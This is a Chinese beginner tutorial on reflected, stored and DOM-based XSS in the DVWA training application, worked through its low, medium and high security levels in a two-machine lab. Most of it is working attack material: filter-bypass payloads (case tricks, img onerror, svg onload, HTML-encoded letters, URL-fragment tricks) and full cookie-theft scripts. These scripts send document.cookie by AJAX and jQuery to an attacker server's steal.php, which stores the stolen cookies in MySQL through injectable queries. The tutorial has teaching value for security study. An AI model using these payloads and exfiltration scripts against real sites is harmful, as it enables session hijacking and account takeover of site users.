新手科普 | 通过DVWA学习XSS

存储架构 2017-12-31

这篇文章通过 dvwa 简单研究了三种类型的 xss,并且讲述了如何利用 xss 获取目标网站用户的 cookie。

dvwa反射型xss

测试环境

一台 win2003 虚拟机,ip 为 192.168.50.128,用wamp集成环境将dvwa搭在8080端口。

一台 win7 虚拟机,ip 为 192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。

low级别

为了便于理解,代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '
Hello ' . $_GET[ 'name' ] . '

';
}

?>

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload。

alert("xss")

来验证xss的存在。

接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在win7的服务器下编写cookie.js。

document.write("
"); document.write(""); document.write("
"); document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."
"; } mysql_close(); } ?>

steal.php将我们获取到的cookie存到数据库中。

create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入。

相当于构造链接。

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_r/?name=

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

这时,win7的数据库就接收到了cookie。

medium级别

代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}

";
}

?>

可看出代码将我们输入内容中的 标签替换为了空,但是str_replace这个函数是不区分大小写的,而且只替换一次,所以我们构造payload。

<script>alert("xss")
alert("xss")

均可以弹框,同样的,插入。

<script src=http://192.168.50.150/dvwaxss/cookie.js>

加载远程脚本steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into medium(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into medium(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from medium";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."
"; } mysql_close(); } ?>

将获取的cookie加入medium表,结果如下:

high 级别

代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}

";
}

?>

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss,这样的payload还有很多。

在xss的位置插入。

通过触发onerror事件跳转链接到远程服务器的steal.php,同时以GET带上当前的cookie,但是输入被过滤了。


只剩下 Hello .cookie)> ,what!?不应该啊,在这被坑了好久,终于发现问题所在。

注意观察我们所插入的代码,我表明的大写部分,竟然构成了一个script,所以符合代码的正则,从而过滤掉了,这实在是坑啊……那我们将插入代码中的i进行html编码。

我们提交这段代码后绕过了过滤,然后浏览器进行了html解码,然后就是之前一样的过程,触发onerror事件,对远程服务器的steal.php发送我们的cookie steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into high(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into high(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
mysql_close();
}
else
{
    $sql="select * from high";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."
"; } mysql_close(); } ?>

远程服务器接收到了cookie的信息。

dvwa存储型xss

存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多,在这我将介绍几种更为隐蔽的方式获取用户cookie。

测试环境

同上次的一样,一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口。

一台win7虚拟机,ip为192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。

low级别

为了便于理解,代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

//mysql_close();
}

可以看出对有害输入没有任何过滤,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,我们将payload插入Name域测试xss,在此之前用firebug将Name输入框的maxlength改为600,一开始为10,然后输入payload。

Name:alert("xss")
Message:testxss

简单的一个弹框,弹框可见我们的payload已经储存到了数据库,只要访问该页面的用户都会触发xss。


下面我们编写payload偷取该网站下用户的cookie,构造payload。

Name:
Message:testxss

用script标签加载远程服务器上我们编写的获取cookie的js代码,上一节我们编写的是下面的代码。

document.write("
"); document.write(""); document.write("
"); document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免会引起用户的怀疑,我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php。

var url = "http://192.168.50.150/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了 http://192.168.50.150/dvwaxss/steal.php ,也就是当前目录下的steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."
"; } mysql_close(); } ?>

steal.php将我们获取到的cookie存到数据库中,我们先删除目标网站数据中之前我们插入的payload,然后输入。

Name:
Message:send cookie use ajax

用src加载远程服务器的js脚本,那么js就是该网站所信任的,那么js的源就会变成加载它的域,从而可以读取该域的数据,比如用户cookie,我们将请求提交后可以看到当前页面将 http://192.168.50.150/dvwaxss/cookie.js 加载了进来。

然后观察firebug的javascript控制台,看到

已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin')

这是因为ajax严格遵从同源策略,当前加载cookie.js的域为 http://192.168.50.128:8080 ,所以ajax不能读取不同域 http://192.168.50.150 下的数据,但是cookie已经被发送到了 http://192.168.50.150 域,steal.php已经将偷取到的cookie存放在了数据库中,而且页面没有刷新,很隐蔽。

还有一种方式,为了更好的兼容浏览器,我们可以使用juery ajax 删除目标网站之前的payload,输入

Name:
Message:send cookie use juery ajax

使用juery前要先 <script src="http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js"> 引入 由于dvwa中guestbook的name字段有长度限制,为了实验效果,我们用phpmyadmin将name列的varchar改为1000 服务端juery代码

$(document).ready(function(){
    $.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

上面的代码同样的构造post请求将cookie作为post参数发送给steal.php 然后提交我们的输入 可见页面加载了我们的cookie.js

同时ajax也执行了

cookie也被偷取到了

medium级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

//mysql_close();
}

?>

主要过滤的地方有

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );    
$message = htmlspecialchars( $message );
$name = str_replace( '', '', $name );

对mtxMessage进行了htmlspecialchars转义,但是没有转义txtName,只是把 替换为了空,和之前的反射型xss一样,转化为大写 或者 <script> 绕过即可,下面的和low级别利用方式一样,这里不再重复

high 级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

//mysql_close();
}

?>

触发点还是在Name域,和反射型xss high级别的过滤方法一样

$name    = trim( $_POST[ 'txtName' ] );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用img标签绕过即可,有不明白的地方参考上一节反射型,编写payload验证xss的存在,输入

Name:
Message:test xss

弹框,证明有xss的存在

接下来编写payload获取用户cookie,用firebug将maxlength改为1000,再输入之前先将之前插入数据库的payload删除,然后输入

Name:
Message:send cookie use ajax

直接在onerror后使用ajax将当前网站用户的cookie用ajax发送到 http://192.168.50.150/dvwaxss/steal.php ,为了绕过过滤对所有”i”这个字母进行了html编码,为 i 提交payload 查看元素

查看firebug控制台,有

已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin') ,可以看出ajax已经执行,将cookie发送到 http://192.168.50.150/dvwaxss/steal.php

偷取到的cookie被steal.php存入数据库

另外一种方式是利用juery ajax

编写payload

Name:
Message:send cookie use juery ajax

同样的为了绕过过滤对所有的字母”i”进行html编码 onerror里的js代码是利用javascript DOM操作动态创造script标签,然后用setAttribute给src赋值,分别加载 http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.jshttp://192.168.50.150/xss_s/cookie.js http://192.168.50.150/xss_s/cookie.js 代码为

$(document).ready(function(){
$.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

和上面的一样, 提交payload

javascript DOM操作已经在页面重新加载时在head标签下创造了两个script标签去加载js脚本

cookie已经发送给了 http://192.168.50.150/dvwaxss/steal.php

被steal.php存入数据库

dvwa DOM型XSS

dom xss

xss主要分为三种,前面通过了dvwa分别研究了反射型和存储型两种xss,这次写篇有关dom xss的文章,dom xss和前面的两种xss的区别主要是:dom xss的产生并没有和后台服务器产生交互,而是通过浏览器的dom树解析产生的,下面来学习一下这种xss。

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口

一台win7虚拟机,ip为192.168.50.156,用来接受漏洞网站的cookie,web由phpstudy搭建

low级别

服务器端没有任何php代码,查看前端页面源代码,处理用户输入的只有前端的js代码:

    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("" + decodeURI(lang) + "");
    document.write("----");
    }

    document.write("English");
    document.write("French");
    document.write("Spanish");
    document.write("German");

我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点 构造payload: http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E ,弹框证明有xss的存在,浏览器在解析html dom树时就会触发js弹框代码

接下来利用dom xss获取网站的cookie,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E 用script标签加载远程服务器上我们编写的获取网站用户cookie的js代码,和之前的一样利用ajax

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了 http://192.168.50.156/dvwaxss/steal.php ,也就是当前目录下的steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."
"; } mysql_close(); } ?>

steal.php将我们获取到的cookie存到数据库中 可以看到数据库已经接收到了网站用户的cookie

同样的还可以使用juery ajax,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

代码如下

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

同样接收到了cookie

medium级别

前端代码如下,和low级别的一样

    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("" + decodeURI(lang) + "");
    document.write("----");
    }

    document.write("English");
    document.write("French");
    document.write("Spanish");
    document.write("German");

但是后端代码对url的default参数的值做了限制

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "

不允许出现 script 标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过 这里的绕过有两种方式 方式1 url中有一个字符为 # ,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E

可以看出成功绕过

方法2 或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(%22xss%22)%3E

注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等,比如

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=alert("xss")%3E

svg的onload事件同样可以在页面加载时执行js代码,产生弹框的效果,同样的标签还有好多 下面我们用这些方法加载远程js脚本获取网站用户的cookie(发送cookie的代码用juery)

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/#?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

img标签onerror事件加载

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

onerror事件后执行js代码,通过js的dom操作创建 script 标签加载远程脚本,下面是onerror事件后执行的js代码,和上一节的一样

var b= document.createElement('script'); 
b.setAttribute('src','http://192.168.50.156/dvwaxss/cookie.js');
document.getElementsByTagName('head')[0].appendChild(b);

远程获取cookie脚本

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

同样svg标签的onload也可以,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20onload=%22var%20b=%20document.createElement(%27script%27);%20b.setAttribute(%27src%27,%27http://192.168.50.156/dvwaxss/cookie.js%27);document.getElementsByTagName(%27head%27)[0].appendChild(b);%22%3E

以上方法均可以绕过medium加载远程脚本获取网站用户cookie

###high级别###

在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的 # 符号绕过即可,构造payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

加载远程脚本

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

获取high级别的网站用户cookie

您可能感兴趣的

Big SQL 4.2.5 Integration with YARN Configuration ... When YARN is enabled for Big SQL, YARN controls how much memory and CPU resources are assigned to Big SQL at any given point in time. Other applic...
New CUBRID 8.4.4 with SQL Profiling and Stability ... On behalf of CUBRID Team I am happy to announce the new 8.4.4 version of CUBRID open source relational database. This release is mostly ded...
Query syntax in mongodb for sql & ldquo&se... basically this is my question: How to query MongoDB with "like"? but i guess all the answers in here are applicable when you are using mongodb shel...
Creating a Time Series database for SQL Server Res... As a prelude to a post describing some new features of the dbatools Restore-DbaDatabase function, I thought I’d just got through how I create ...
异步流程控制 单线程与异步 Javascript是 单线程 运行、支持 异步 机制的语言。进入正题之前,我们有必要先理解这种运行方式。 以「起床上班」的过程为例,假设有以下几个步骤: 起床(10min) 洗刷(10min) 换衣(5min) 叫车(10mi...